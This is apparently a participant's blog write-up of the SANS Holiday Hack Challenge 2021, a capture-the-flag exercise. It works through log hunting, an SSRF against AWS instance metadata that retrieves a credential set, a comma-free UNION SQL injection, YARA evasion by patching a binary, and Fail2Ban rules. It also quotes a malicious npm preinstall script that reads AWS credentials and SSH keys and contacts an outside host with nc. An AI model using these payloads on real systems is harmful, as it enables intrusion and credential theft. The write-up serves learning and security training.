index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational
| search "git remote add"

And found the command below

CommandLine = git remote add origin git@github.com:elfnp3/partnerapi.git

The part after git@ is the answer.

Task 3

I couldn't find something with the query word docker run. Then, I tried up word for query. Then, got 2 CommandLines. The one of them was,

CommandLine = docker compose up

This is the answer. Eddie used docker compose.

Task 4

I clicked sourcetype on the left menu, and found 8 values. I guessed github_json is suspicious from the statements of this challenge, and clicked it.
It showed some histories. The repositories other than previous one was only elfnp3/dvws-node. I searched elfnp3 user on Github.

f:id:kusuwada:20220106223747p:plain:w400

So cute. On the top-left of the elfnp3/dvws-node repository page, there's the information that from which repository this was forked. The Url is the answer.

Task 5

I queried with the word npm,

index=main | search "npm "

and found some CommandLine histories. Then, checked the CommandLine menu on the left sidebar, I found the suspicious commandline.

f:id:kusuwada:20220106223802p:plain

CommandLine = /usr/bin/env node /usr/bin/npm install holiday-utils-js

The tool name is the answer.

Task 6

The link in this challenge, there's already constructed query.

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=3 user=eddie NOT dest_ip IN (127.0.0.*) NOT dest_port IN (22,53,80,443)
| stats count by dest_ip dest_port

I can find the 2 ip addresses, and one is git. So I clicked the another one dest_ip="54.175.69.219", and check the process_name in left sidebar menu. It was /usr/bin/nc.openbsd. This is the answer.

Task 7

The parent process of previous task is /bin/bash, and it's process ID is 6788.
I queried

main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational
| search parent_process_id=6788

and found the command other than previous nc command below.

cat /home/eddie/.aws/credentials /home/eddie/.ssh/authorized_keys /home/eddie/.ssh/config \
  /home/eddie/.ssh/eddie /home/eddie/.ssh/eddie.pub /home/eddie/.ssh/known_hosts

It seems output 6 files. So, the answer is 6.

Task 8

I queried the process ID of previous bash.

index=main sourcetype=journald source=Journald:Microsoft-Windows-Sysmon/Operational EventCode=1
| search process_id=6788

Then, I got 1 history. Let's open it and check the detail.

f:id:kusuwada:20220106223807p:plain

I found that the parent commandline is parent_process: /bin/bash preinstall.sh! This script name is the answer.

After solving this last challenge, The banner was showed the top of this site.

f:id:kusuwada:20220106223743p:plain

Here is the answer!

10) Now Hiring!

I went to the restroom of Jack's Tower. There is GOLDEN toilet! Wow!!
I got the hint of this challenge from Noxious O. D'or next to the toilet. The hint is the link to AWS'S IMDS Document.

Before this challenge, I had done IMDS Exploration terminal challenge which is related to IMDS. And before, I also tried to AWS's learning challenge flaws and flaws2 :)

The target site is here.

f:id:kusuwada:20220106223841p:plain:w400

After jumping to the application page, there's the forms of Name, Email Address and etc...
I tried some values of these form, and found

  • Name is required and banned to use special characters
  • Resume form has the function to choose files on my local PC, but not send the file data, but only filename.

After filling up the form and press "Submit", the word "Submission Accepted" and some images appeared.

f:id:kusuwada:20220106223833p:plain:w400

The center image is broken. Let's check the source code. This image is linked to /images/{Name}.jpg, {Name} is what I filled to the application form.
And, I checked the broken image file, and tested some more another values to the forms, and found the IMDS exploit code filled in "URL to your public NLBI report" form works!

I tested the exploit code http://169.254.169.254/latest/meta-data/ first.
The result was,

$ cat kusuwada_test.jpg
ami-id
ami-launch-index
ami-manifest-path
block-device-mapping/ami

...(omit)...

services/domain
services/partition
spot/instance-action
spot/termination-time

It works! Then, let's output the used IAM role with http://169.254.169.254/latest/meta-data/iam/security-credentials. The result was,

$ cat kusuwada_role.jpg
jf-deploy-role

Good. Its credential can be obtained with http://169.254.169.254/latest/meta-data/iam/security-credentials/jf-deploy-role. The result was,

$ cat kusuwada_secret.jpg
{
    "Code": "Success",
    "LastUpdated": "2021-05-02T18:50:40Z",
    "Type": "AWS-HMAC",
    "AccessKeyId": "AKIA5HMBSK1SYXYTOXX6",
    "SecretAccessKey": "CGgQcSdERePvGgr058r3PObPq3+0CfraKcsLREpX",
    "Token": "NR9Sz/7fzxwIgv7URgHRAckJK0JKbXoNBcy032XeVPqP8/tWiR/KVSdK8FTPfZWbxQ==",
    "Expiration": "2026-05-02T18:50:40Z"
}

The answer is its SecretAccessKey!

11) Customer Complaint Analysis

I got a packet captured file. There are 600 lines. With this amount of information, I can check the whole lines and find something without hints :)

I found the http POST communication when the customers submit their complaints from the form. So, I filtered this packets with below filter on wireshark.

http.request.method == "POST"

f:id:kusuwada:20220106223856p:plain

The filtered packets remained only 16. I read the whole complaints, and found 3 customers complained to the same person who stays in room1024.
This customer in room1024 is also posts a complaint by packet line 384, and her troll_id is strange. She is very suspicious. Then, I order the customer names alphabetically who complaints to room1024.

The answer was, Flud Hagg Yaqh

12) Frost Tower Website Checkup

I got the link to the target site and source code of the target web site. The source code tree is below.

$ tree frosttower-web -L 1
frosttower-web
├── country.json
├── custom_modules/
├── server.js
├── sql/
└── webpage/

Too many codes. It's better to focus on what to see.
And, I got below hint from the elf who is in dining room.

SQL Injection with Source: When you have the source code, API documentation becomes tremendously valuable.

OK, it sounds SQL injection challenge, and I should read the source code carefully. There's the countdown to the Christmas and form to send email address on the top page.

f:id:kusuwada:20220106223912p:plain:w400

First, I checked the server.js, and found the many APIs like login, search. There are APIs which can use without login, and needs login, and needs admin login.

I listed the APIs with the information of required authenticaiton.

* GET  /             # any session
* GET  /testsite     # any session
* POST /testsite     # no session
* GET  /contact      # any session
* POST /postcontact  # any session
* GET  /detail/:id   # need login
* GET  /edit/:id     # need login
* POST /edit/:id     # need login
* POST /delete/:id   # need admin login
* GET  /search       # need login
* POST /search       # need login
* POST /export       # need login
* GET  /login        # no session
* POST /login        # any session
* GET  /redirect     # any session
* GET  /logout       # any session
* GET  /dashboard    # need login
* GET  /adduser      # need admin login
* POST /adduser      # need admin login
* GET  /userlist     # need admin login
* GET  /useredit/:id    # need admin login
* POST /useredit/:id    # need admin login
* POST /userdelete/:id  # need admin login
* GET  /forgotpass   # no session
* POST /forgotpass   # no session
* GET  /forgotpass/token/:id  # no session
* POST /forgotpass/token/:id  # no session

So many. It's tough to see every APIs deeply.
Next, I checked the sql/encontact_db.sql file and found the tables and schemas below.

  • uniquecontact
  • users
  • emails

There seems no table for todo list, but it's very useful that I can get the schema of each tables for SQL injection.

I guessed that the challenge needs some login or session highjack or something, in order to use the API which requires authentication. So I began with checking the server.js code carefully especially around the session related.

In the /postcontact API, there's a suspicious part below.

    tempCont.query("SELECT * from uniquecontact where email="+tempCont.escape(email), function(error, rows, fields){

        // omitted error process

        var rowlength = rows.length;
        if (rowlength >= "1"){
            session = req.session;
            session.uniqueID = email;
            req.flash('info', 'Email Already Exists');
            res.redirect("/contact");

        }

The email is checked unique in uniquecontact database, so it should be related with uniquecontact data. But if the email is already exists in the database, the email will be set to the session's uniqueID! (session.uniqueID = email;) With pass through this wicked flow, we can use APIs which can be used with session.uniqueID.

I tested this with below method.

  1. register test user from contact form
  2. try to register the same user (-> the value will be set to session.uniqueID)
  3. move to /dashboard

Then, I could see the dashboard site, and use /search API!

Next, I looked for the API which is vulnerable for SQL injection.
I tried a lot with /search API, but no progress because escape function was very strong and worked properly.
Then, I read the README of github.com/mysqljs/mysql which is given by hint super carefully. Especially, finding the way to avoid escape function. And found the statement below.

To generate objects with a toSqlString method, the mysql.raw() method can be used. This creates an object that will be left un-touched when using in a ? placeholder, useful for using functions as dynamic values:

Caution The string provided to mysql.raw() will skip all escaping functions when used, so be careful when passing in unvalidated input.

Using mysql.raw(), the escape function will be skipped! I searched whether this function is used or not in server.js.

app.get('/detail/:id', function(req, res, next) {
    session = req.session;
    var reqparam = req.params['id'];
    var query = "SELECT * FROM uniquecontact WHERE id=";

    if (session.uniqueID){

        try {
            if (reqparam.indexOf(',') > 0){
                var ids = reqparam.split(',');
                reqparam = "0";
                for (var i=0; i<ids.length; i++){
                    query += tempCont.escape(m.raw(ids[i]));
                    query += " OR id="
                }
                query += "?";
            }else{
                query = "SELECT * FROM uniquecontact WHERE id=?"
            }

There is! ids is proceeded in m.raw(). This /detail API can be used without admin permission, so I can use this API now.

I tried /detail/12, which showed the information of no.12 contact, and /detail/12,13 which showed no.12 and no.13 contacts. The vulnerability above is triggered when we specify the ids with comma. So, I have to assemble the attack query with comma separated.

I tried /detail/0,0 OR 1=1-- and got all data in uniquecontact database. It works!! The query became as below.

SELECT * FROM uniquecontact WHERE id=0 OR id=0 OR 1=1-- OR id=0

Next, I tried the UNION SELECT because it seemed I have to obtain the data from another table. I send the url parameter so that the query looks like this.

SELECT * FROM uniquecontact WHERE id=0,0 union select * from users-- OR id=0

It seemed that the query passed, but an error occurred when rendering the result.

TypeError: /app/webpage/detail.ejs:29
    27|                             -
    28|                         <% }else { %>
 >> 29|                             <%= dateFormat(encontact.date_update, "mmmm dS, yyyy h:MM:ss") %>
    30|                         <% } %>                     
    31|                         </li>
    32|                     </ul>

The schema between uniquecontact and users table is slightly different at the last column data type. I have to pay attention to column number and data type.
Then, another UNION SELECT test, I send the parameter as below.

/detail/0,0 UNION SELECT 1,"a","b","c","d",NULL,NULL--

This would makes the query like this...

SELECT * FROM uniquecontact WHERE id=0,0 UNION SELECT 1,"a","b","c","d",NULL,NULL-- OR id=0

But Internal Server Error occurred. I realized that the comma in the url parameter will be processed as id separation before query assemble part. So my request would processed as

ids = [0, 0 UNION SELECT 1, "a", "b", "c", "d", NULL, NULL--]

Oh, then I have to avoid useing comma for this injection. I refered the cheat sheet and assembled the attack query.

SELECT * FROM uniquecontact WHERE id=0,0 UNION SELECT * FROM
  (SELECT 1)a JOIN (SELECT "a")b JOIN (SELECT "b")c JOIN (SELECT "c")d JOIN (SELECT "d")e
  JOIN (SELECT NULL)f JOIN (SELECT NULL)g-- OR id=0

the url parameter was

/detail/0,0 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT "a")b JOIN (SELECT "b")c
JOIN (SELECT "c")d JOIN (SELECT "d")e JOIN (SELECT NULL)f JOIN (SELECT NULL)g--

it's quite long, but the result was returned & displayed!!

f:id:kusuwada:20220106223917p:plain

Now, the preparation is done! I can fetch the values as I want!
First, get the tables with information_schema.tables. The return data type should be char, so I set the attack query to the place of full_name. Below is the main sql part.

SELECT table_name from information_schema.tables WHERE TABLE_TYPE = 'BASE TABLE' limit 1 offset 0

The url parameter was

/detail/0,1 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT table_name from information_schema.tables
WHERE TABLE_TYPE = 'BASE TABLE' limit 1 offset 0)b JOIN (SELECT "b")c JOIN (SELECT "c")d
JOIN (SELECT "d")e JOIN (SELECT NULL)f JOIN (SELECT NULL)g--

I sent the request several times with increasing the offset, and got todo table name.
Next, I tried to get the column names of this "todo" table with information_schema.COLUMNS. Below is the main sql part.

SELECT COLUMN_NAME from information_schema.COLUMNS WHERE TABLE_NAME = 'todo' limit 1 offset 0

The url parameter was

/detail/0,1 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT COLUMN_NAME from information_schema.COLUMNS
WHERE TABLE_NAME = 'todo' limit 1 offset 0)b JOIN (SELECT "b")c JOIN (SELECT "c")d
JOIN (SELECT "d")e JOIN (SELECT NULL)f JOIN (SELECT NULL)g--

I sent the request several times with increasing the offset as above, and got the column names below.

  • id
  • note
  • completed

From the statements of the challenge, it seems that the answer is in note column. So, I got the note contents with the below query parameter.

/detail/0,0 UNION SELECT * FROM (SELECT 1)a JOIN (SELECT note from todo limit 1 offset 0)b
JOIN (SELECT "b")c JOIN (SELECT "c")d JOIN (SELECT "d")e JOIN (SELECT NULL)f JOIN (SELECT NULL)g--

it works as sql query

SELECT note from todo limit 1 offset 0

f:id:kusuwada:20220106223905p:plain

With increasing the offset as above, I got all of the note. Jack is up to a lot of bad things, isn't he?

  • Buy up land all around Santa's Castle
  • Build bigger and more majestic tower next to Santa's
  • Erode Santa's influence at the North Pole via FrostFest, the greatest Con in history
  • Dishearten Santa's elves and encourage defection to our cause
  • Steal Santa's sleigh technology and build a competing and way better Frosty present delivery vehicle
  • Undermine Santa's ability to deliver presents on 12/24 through elf staff shortages, technology glitches, and assorted mayhem
  • Force Santa to cancel Christmas
  • SAVE THE DAY by delivering Frosty presents using merch from the Frost Tower Gift Shop to children world-wide... so the whole world sees that Frost saved the Holiday Season!!!! Bwahahahahaha!
  • With Santa defeated, offer the old man a job as a clerk in the Frost Tower Gift Shop so we can keep an eye on him

The last one is related to Santa's job. the answer was just only "clerk".

One of my favorite security category is SQL injection, so this challenge was so fun! And this challenge was not the "straight" one, it makes this challenge more interesting :)

13) FPGA Programming

This challenge is related to "FGPA", which is new to me. According to FGPA, I found the terminal which has similar name on the Frost Tower Rooftop. I tried this. Then, I got the challenge statement and initial code. It looks like the talk movie in the hint. Because it's very new for me, I watched carefully the movie and website in the hint before starting.

According to the movie, the language is Verilog and it's very different from the usual programing language. We can't use loop or delay. I wrote the program which outputs the square wave with reference to the sample program in the hint link, but it seems its accuracy is not good enough. The terminal says

Sending code for analysis...
Verilog parsed cleanly...
Beginning FPGA simulation. This may take a few seconds...
Random target frequency: 1602.85
Using a clock frequency of 125MHz, the closest you could get to the target frequency is 1602.8518
Sorry! Simulation results indicate a frequency of: 1606.6838Hz
Your model should be able to more closely match the requested frequency.

As the challenge statement says, the rounding may not works properly.
I googled verilog square wave and found the verilog code of generate square wave. I used this code as a base, because this code (counting down) was accurate than previous one in the initial state.

Then, I tried to pay attention to the data type and bit rate. By using real type and integer type in properly case, I got the code below which runs accurate.

`timescale 1ns/1ns
module tone_generator (
    input clk,
    input rst,
    input [31:0] freq,
    output wave_out
);

    integer counter;
    real real_no;
    integer rounded;
    reg sq_wave;
    assign wave_out = sq_wave;

    always @(posedge clk or posedge rst)
    begin
        // calculate precise count in advance (everytime...)
        real_no <= 125000000.0/freq/2.0*100.0;
        if($rtoi(real_no * 10) - ($rtoi(real_no) * 10) > 4)
            begin
                rounded <= $rtoi(real_no) + 1;
            end
        else
            begin
                rounded <= $rtoi(real_no);
            end
        if(rst==1)
            begin
                counter <= 32'h00;
                sq_wave <= 1'b0;
            end
        else
            begin
                if(counter == 32'h00)
                    begin
                        sq_wave <= ~sq_wave;
                        counter <= rounded - 1;
                    end
                else
                    begin
                        counter <= counter - 1;  // count down
                    end
            end
    end
endmodule

This code generated the accurate output square wave for all test input data. After generating all output, I push Program Device and got "The device has been successfully programmed!" output. The Objective is achieved.

Terminals

Logic Chompers

The game like below has begun. I operate the green character and select the "True" block. If it hits the pink monster, it will be eaten and its heart will be decreased 1. Also if I made a mistake, its heart would be decreased 1.

f:id:kusuwada:20220106224011p:plain:w400

There are several levels of the stage. And there are 4 types of logic challenges, boolean logic, arithmetic operation, number conversion from hex or binary to integer, bitwise operation.
It was hard to judge True/False especially number conversion just in a quick look, but fortunately, there was no time limit. So I could clear this challenge with not so many tries.

To achieve this terminal, we had to clear level intermediate on genres mixed stage (Potpourri). After I achieved this terminal, I tried Potpourri Expert level, and reached to Level 12. I'm not sure there's higher level or not.
It was a very good exercise for my brain!

Creeping for Gold (Nmap)

This challenge is for beginners of nmap command. And was very useful for further challenge like Objective8. Because there's no room to state everything in this report, I remain quiz and my command & answer only.

What port does 34.76.1.22 have open?

$ grep "34.76.1.22" bigscan.gnmap
Host: 34.76.1.22 ()     Status: Up
Host: 34.76.1.22 ()     Ports: 62078/open/tcp//iphone-sync///      Ignored State: closed (999)

The answer was 62078.

What port does 34.77.207.226 have open?

$ grep "34.77.207.226" bigscan.gnmap
Host: 34.77.207.226 ()     Status: Up
Host: 34.77.207.226 ()     Ports: 8080/open/tcp//http-proxy///      Ignored State: filtered (999)

The answer was 8080.

How many hosts appear "Up" in the scan?

$ grep -nc "Status: Up" bigscan.gnmap    
26054

How many hosts have a web port open? (Let's just use TCP ports 80, 443, and 8080)

$ grep -E '80/|443/|8080' bigscan.gnmap | wc -l
14372

How many hosts with status Up have no (detected) open TCP ports?

$ grep -E 'open/tcp' bigscan.gnmap | wc -l
25652

The answer is, 26054 - 25652 = 402.

What's the greatest number of TCP ports any one host has open?

$ for i in {3..20}; do echo -n $i: ; grep -E -nc "(open.*){$i,}" bigscan.gnmap; done
3:24100
4:20568
5:12919
6:4553
7:1490
8:787
9:536
10:259
11:58
12:5
13:0
...(omit)...

I counted the number of lines that contain $i of open in each line, the largest non-zero $i is the correct answer. So the answer is 12!

Yara Analysis

I guess that from challenge statements and files in the machine, the goal is to run the_critical_elf_app. But some yara rule is preventing it, so we have to change the app binary to avoid being caught by the regulations. Because I don't have the permission to change yara rule file.

I executed the application at first (you shouldn't do that on real situation).

$ ./the_critical_elf_app
yara_rule_135 ./the_critical_elf_app

The error tells which yara rule caught this app. I confirmed the yara_rules/rules.yar at line 135.

rule yara_rule_135 {
   meta:
      description = "binaries - file Sugar_in_the_machinery"
      author = "Sparkle Redberry"
      reference = "North Pole Malware Research Lab"
      date = "1955-04-21"
      hash = "19ecaadb2159b566c39c999b0f860b4d8fc2824eb648e275f57a6dbceaf9b488"
   strings:
      $s = "candycane"
   condition:
      $s
}

I see, the word "candy" is not good. I opened the app with xxd.

$ xxd the_critical_elf_app
...(omit)...
00002000: 0100 0200 0000 0000 6361 6e64 7963 616e  ........candycan
00002010: 6500 6e61 7567 6874 7920 7374 7269 6e67  e.naughty string
00002020: 0000 0000 0000 0000 5468 6973 2069 7320  ........This is
00002030: 6372 6974 6963 616c 2066 6f72 2074 6865  critical for the
00002040: 2065 7865 6375 7469 6f6e 206f 6620 7468   execution of th
00002050: 6973 2070 726f 6772 616d 2121 0000 0000  is program!!....
00002060: 486f 6c69 6461 7948 6163 6b43 6861 6c6c  HolidayHackChall
00002070: 656e 6765 7b4e 6f74 5265 616c 6c79 4146  enge{NotReallyAF
00002080: 6c61 677d 0064 6173 7461 7264 6c79 2073  lag}.dastardly s
00002090: 7472 696e 6700 0000 011b 033b 3c00 0000  tring......;<...

Yes, there is. I change the binary with vim. And note that if we change the length of this file, it will crash when we execute it.
I changed "candycane" to "condycane", and execute the app again.

$ ./the_critical_elf_app
yara_rule_1056 ./the_critical_elf_app

Check the rule.

rule yara_rule_1056 {
   meta:
        description = "binaries - file frosty.exe"
        author = "Sparkle Redberry"
        reference = "North Pole Malware Research Lab"
        date = "1955-04-21"
        hash = "b9b95f671e3d54318b3fd4db1ba3b813325fcef462070da163193d7acb5fcd03"
    strings:
        $s1 = {6c 6962 632e 736f 2e36}
        $hs2 = {726f 6772 616d 2121}
    condition:
        all of them
}

This time, the rule is stated with hex. I changed the hex to string, and got libc.so.6, rogram!!.
The rule condition is all of them, so if one of them are not caught, we can run the app. Because rogram!! is just the output word, so I changed this part to rogram!?.

Next rule which caught the fixed app was very long.

rule yara_rule_1732 {
   meta:
      description = "binaries - alwayz_winter.exe"
      author = "Santa"
      reference = "North Pole Malware Research Lab"
      date = "1955-04-22"
      hash = "c1e31a539898aab18f483d9e7b3c698ea45799e78bddc919a7dbebb1b40193a8"
   strings:
      $s1 = "This is critical for the execution of this program!!" fullword ascii
      $s2 = "__frame_dummy_init_array_entry" fullword ascii
      $s3 = ".note.gnu.property" fullword ascii
      $s4 = ".eh_frame_hdr" fullword ascii
      $s5 = "__FRAME_END__" fullword ascii
      $s6 = "__GNU_EH_FRAME_HDR" fullword ascii
      $s7 = "frame_dummy" fullword ascii
      $s8 = ".note.gnu.build-id" fullword ascii
      $s9 = "completed.8060" fullword ascii
      $s10 = "_IO_stdin_used" fullword ascii
      $s11 = ".note.ABI-tag" fullword ascii
      $s12 = "naughty string" fullword ascii
      $s13 = "dastardly string" fullword ascii
      $s14 = "__do_global_dtors_aux_fini_array_entry" fullword ascii
      $s15 = "__libc_start_main@@GLIBC_2.2.5" fullword ascii
      $s16 = "GLIBC_2.2.5" fullword ascii
      $s17 = "its_a_holly_jolly_variable" fullword ascii
      $s18 = "__cxa_finalize" fullword ascii
      $s19 = "HolidayHackChallenge{NotReallyAFlag}" fullword ascii
      $s20 = "__libc_csu_init" fullword ascii
   condition:
      uint32(1) == 0x02464c45 and filesize < 50KB and
      10 of them
}

According to the condition, the app will be banned if more than 10 of these rule were caught. So, we have to change 11 places. I began with the just text part. Below is the after changing word.

$s1: This is critical for the execution of this program!?
$s9 = comlleted.8060
$s12 = noughty string
$s13 = dostardly string
$s19: HolidayHackChallenge{GotReallyAFlag}
$s17: its_e_holly_jolly_variable

I guess dummy is not so important.

$s2 = "__frame_dammy_init_array_entry" fullword ascii
$s7 = "frame_dammy" fullword ascii

I changed the dummy variables, but no error occurred. Maybe they weren't called. The last 3 place were chosen on a hunch and process of elimination.

$s3 = ".mote.gnu.property"
$s8 = ".mote.gnu.build-id"
$s11 = ".mote.ABI-tag"

Now, I changed 11 places. Let's execute this application again.

$ ./the_critical_elf_app
Machine Running..
Toy Levels: Very Merry, Terry
Naughty/Nice Blockchain Assessment: Untampered
Candy Sweetness Gauge: Exceedingly Sugarlicious
Elf Jolliness Quotient: 4a6f6c6c7920456e6f7567682c204f76657274696d6520417070726f766564

It works, and I achieved the terminal.

Exif metadata

We can learn about the tool exiftool with this challenge. My command for achieve this chall was,

$ exiftool * | grep Jack -B40 > log.txt
$ less log.txt
ExifTool Version Number         : 12.16
File Name                       : 2021-12-21.docx
Directory                       : .
...

And the answer was 2021-12-21.docx.

Frostvator

In order to use the frostvator, we have to connect the logic circuits correctly. We are given the input on with light at the top and place to set the circuits. We have to change the place of each circuits and turn on all of the output at the bottom.

The result was,

f:id:kusuwada:20220106223544p:plain

IPv6 Sandbox

We use some familiar tools with IPv6 value in this challenge. Since I'm not used to handle IPv6, it was very good study for me.

First, I scanned the network with ping command for ipv6.

$ ping6 -I eth0 ff02::1                                                      
ping6: Warning: source address might be selected on device other than eth0.                    
PING ff02::1(ff02::1) from :: eth0: 56 data bytes                                              
64 bytes from fe80::42:c0ff:fea8:a003%eth0: icmp_seq=1 ttl=64 time=0.030 ms                    
64 bytes from fe80::42:a5ff:fecc:6868%eth0: icmp_seq=1 ttl=64 time=0.064 ms (DUP!)             
64 bytes from fe80::42:c0ff:fea8:a002%eth0: icmp_seq=1 ttl=64 time=0.081 ms (DUP!)             
64 bytes from fe80::42:c0ff:fea8:a003%eth0: icmp_seq=2 ttl=64 time=0.033 ms                               

Then, I found 3 networks fe80::42:c0ff:fea8:a003,fe80::42:a5ff:fecc:6868,fe80::42:c0ff:fea8:a002.

Next, I search the open port by nmap.

$ nmap -6 -sV fe80::42:a5ff:fecc:6868%eth0
Starting Nmap 7.70 ( https://nmap.org ) at 2021-12-10 13:34 UTC                                
Nmap scan report for fe80::42:a5ff:fecc:6868                                                   
Host is up (0.000089s latency).                                                                
Not shown: 998 closed ports                                                                    
PORT     STATE SERVICE VERSION                                                                 
22/tcp   open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)                          
3000/tcp open  ppp?                                                                         
...(omit)...                 
Nmap done: 1 IP address (1 host up) scanned in 24.58 seconds            

OK, the port 3000 of this ip address is open. Let's access to it with curl.

$ curl --interface eth0 -g -6 'http://[fe80::42:a5ff:fecc:6868]:3000'       
<!doctype html>
<html lang="en">
  <head>
...(omit)...

I could connect. I got many other information from this IP, but it seems not the correct way. Let's try another IP.

$ nmap -6 -sV fe80::42:c0ff:fea8:a002%eth0                            [9/673]
...(omit)...
Nmap scan report for fe80::42:c0ff:fea8:a002
Host is up (0.000087s latency).
Not shown: 998 closed ports
PORT     STATE SERVICE     VERSION
80/tcp   open  http        nginx 1.14.2
9000/tcp open  cslistener?
...

The port 80 and 9000 are open. I connected 80 port first,

$ curl --interface eth0 -g -6 'http://[fe80::42:c0ff:fea8:a002]:80'  
<html>
<head><title>Candy Striper v6</title></head>
<body>
<marquee>Connect to the other open TCP port to get the striper's activation phrase!</marquee>
</body>
</html>

Wow, another port is correct. Let's try.

$ curl --interface eth0 -g -6 'http://[fe80::42:c0ff:fea8:a002]:9000'  
PieceOnEarth

This is the answer.

HOHO ... No

According to the challenge statement on this terminal, we have to ban the malicious ip addresses based on the log. First, I thought to try to create the ban system by myself with python or other scripts language.

But, I re-read the statement carefully and poked around this terminal, I realize the Fail2Ban is useful, and rather it's the object of this challenge. This time, I have to make the custom rule for it.

I found the talk movie about the Fail2Ban, and watched it. The content is almost same with our situation. It's very clear explanation of how the tool works and what I need to do this time. It explains even the way to make custom filter.

I grep the target log /var/log/hohono.log several times, and found 4 pattern to ban. I wrote the filter below with reference to other filter files and talk movie.

vi /etc/fail2ban/filter.d/my_filter.conf: as custom filter

[Definition]
failregex = ^\s*<HOST> sent a malformed request\s*$
            ^\s*Invalid heartbeat \S+ from <HOST>\s*$
            ^\s*Login from <HOST> rejected due to unknown user name\s*$
            ^\s*Failed login from <HOST> for \S+\s*$

It was very helpful to see the talk movie and other filter files. Especially \s expression. We can use <HOST> expression to fetch the IP address from log and pass it to the action rule.

Next, I wrote action file below : /etc/fail2ban/action.d/my_action.conf.

[Definition]
actionban = /root/naughtylist add <ip>
actionunban = /root/naughtylist del <ip>

<ip> will be replaced to the IP address from the filter above.

The last is custom rule file: /etc/fail2ban/jail.d/my_jail.conf

[hohono]
enabled = true
logpath = /var/log/hohono.log
maxretry = 10
findtime = 1h
bantime = 1h
filter = my_filter
action = my_action

Then, restart the Fail2Ban and reload the target log file.

$ service fail2ban restart
$ /root/naughtylist refresh

IMDS Exploration

It seems related to cloud challenge. I remember that I did IMDS challenge in the flaws! This challenge was useful to solve Objective10.

Unfortunately, there's no room for writing full explanation in this report, so I write the outline of this challenge.

First, I confirmed the address 169.254.169.254 is open or not by ping. This IP is provides information about currently running virtual machine instances. Then, HTTP GET to the endpoint.

$ curl http://169.254.169.254
latest

I got reply "latest". Then, access to /latest in the same way, I got "dynamic", and "meta-data". After that, we fetch the information from /latest/dynamic, and get some interesting information.

Next, we fetched /latest/meta-data. We also got many information from this endpoint. We can get the instance IAM role with /latest/meta-data/iam/security-credentials, and get the instance AWS keys with /latest/meta-data/iam/security-credentials/{IAM role name}.

We can use IMDSv2 which requires authentication, but it's not on by default. The one of protection from this IMDS attack is enable IMDSv2, but it's not enough. We can use the protocol like gopher to attack IMDSv2. But it's not the point of this challenge. The another good protection from this IMDS attack is, limit the network using iptable or something, and remind that IMDSv2 is the "defense in depth".

After IMDSv2 introduction, we confirm the v2 function and tried to connect IMDSv2 with token which generated by IMDS.

The Elf C0de

The game that lead the elf to the goal by coding python.
I remembered that the last year's Elf code chall was in javascript, but this time is in python! I'm prefer to python!

I learned how to move elf, reach lollypops, read the leaver question and input the answer to the leaver, how to loop, and so on.
Because there's no room for all complete codes, I list on last 3 challenges.

Level 8

import elf, munchkins, levers, lollipops, yeeters, pits

lollipop = lollipops.get()
lever = levers.get()
for i in range(4):
    elf.moveTo(lollipop[i].position)
elf.moveTo(lever[0].position)
value = lever[0].data()
lever[0].pull(["munchkins rule"] + value)
elf.moveDown(3)
elf.moveLeft(6)
elf.mo

I achieved this terminal with this chall. After this is bonus stage!

Level 9

The stage is more whirlpool than the previous one.

f:id:kusuwada:20220106223937p:plain

import elf, munchkins, levers, lollipops, yeeters, pits
def func_to_pass_to_mucnhkin(input):
    output = 0
    for row in input:
        for item in row:
            if type(item) == int:
                output += item
    return output
all_levers = levers.get()
munchkin = munchkins.get()
moves = [elf.moveDown, elf.moveLeft, elf.moveUp, elf.moveRight] * 2
for i, move in enumerate(moves):
    move(i+1)
    if i != 7:
        value = all_levers[i]
        all_levers[i].pull(i)
elf.moveUp(2)
elf.moveLeft(4)
munchkin[0].answer(func_to_pass_to_mucnhkin)
elf.moveUp(2)

Level 10

As hint says, I should wait until the next munchikin goes more than 6 blocks far from the elf.

import elf, munchkins, levers, lollipops, yeeters, pits
import time
muns = munchkins.get()
lols = lollipops.get()[::-1]
for index, mun in enumerate(muns):
    while abs(elf.position["x"] - mun.position["x"]) != 6:
        time.sleep(0.05)
    elf.moveTo(lols[index].position)
elf.moveLeft(6)
elf.moveUp(2)

Strace Ltrace Retrace

The cotton candy machine is broken! It's terrible!
As an aside, my daughter debuted the cotton candy on this year's Christmas fair! She gazed at the cotton candy machine for loooong time ;)

I checked the machine and found an executable file, and executed.

$ ls
make_the_candy*
$ file make_the_candy
make_the_candy: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=c4d2a41541e7e161718bf0eb9252bc91780933aa, not stripped
$ ./make_the_candy
Unable to open configuration file.

Not so many information from the comment. No configuration file.
From the name of this terminal and elf's conversation, I guessed I have to use strace or ltrace, and I tried.

$ ltrace ./make_the_candy
fopen("registration.json", "r")                        = 0
puts("Unable to open configuration fil"...Unable to open configuration file.
)            = 35
+++ exited (status 1) +++

I found the name of the missing configuration file. I created the file and executed ltrace again.

$ ltrace ./make_the_candy fopen("registration.json", "r")                        = 0x561539070260
getline(0x7ffcb4d913f0, 0x7ffcb4d913f8, 0x561539070260, 0x7ffcb4d913f8) = 10
strstr("{"a":"b"}\n", "Registration")                  = nil
getline(0x7ffcb4d913f0, 0x7ffcb4d913f8, 0x561539070260, 0x7ffcb4d913f8) = -1
puts("Unregistered - Exiting."Unregistered - Exiting.
)                        = 24
+++ exited (status 1) +++

I wrote to the configuration file registration.json to {"a":"b"}, and it is compared to "Registration" value. let's change the key and execute again.

{"Registration":1}
$ ltrace ./make_the_candy
...(omit)...
strstr(":1}\n", "True")                                = nil
...(omit)...

I see. The value should be "True". Then, I changed the registration.json to

{"Registration":"True"}

And executed ./make_the_candy. It worked! And I achieved this terminal challenge.

Santa's HOLIDAY HERO

This terminal was my last challenge of this year's Holiday Hack Challenge.
It's the sound game which can play with 2 people. But, playing alone, we can't clear this game because player2 is required. From the elf's conversation below,

Single player mode? I heard it can be enabled by fiddling with two client-side values, one of which is passed to the server.

I decided to try changing this game mode to single player mode.
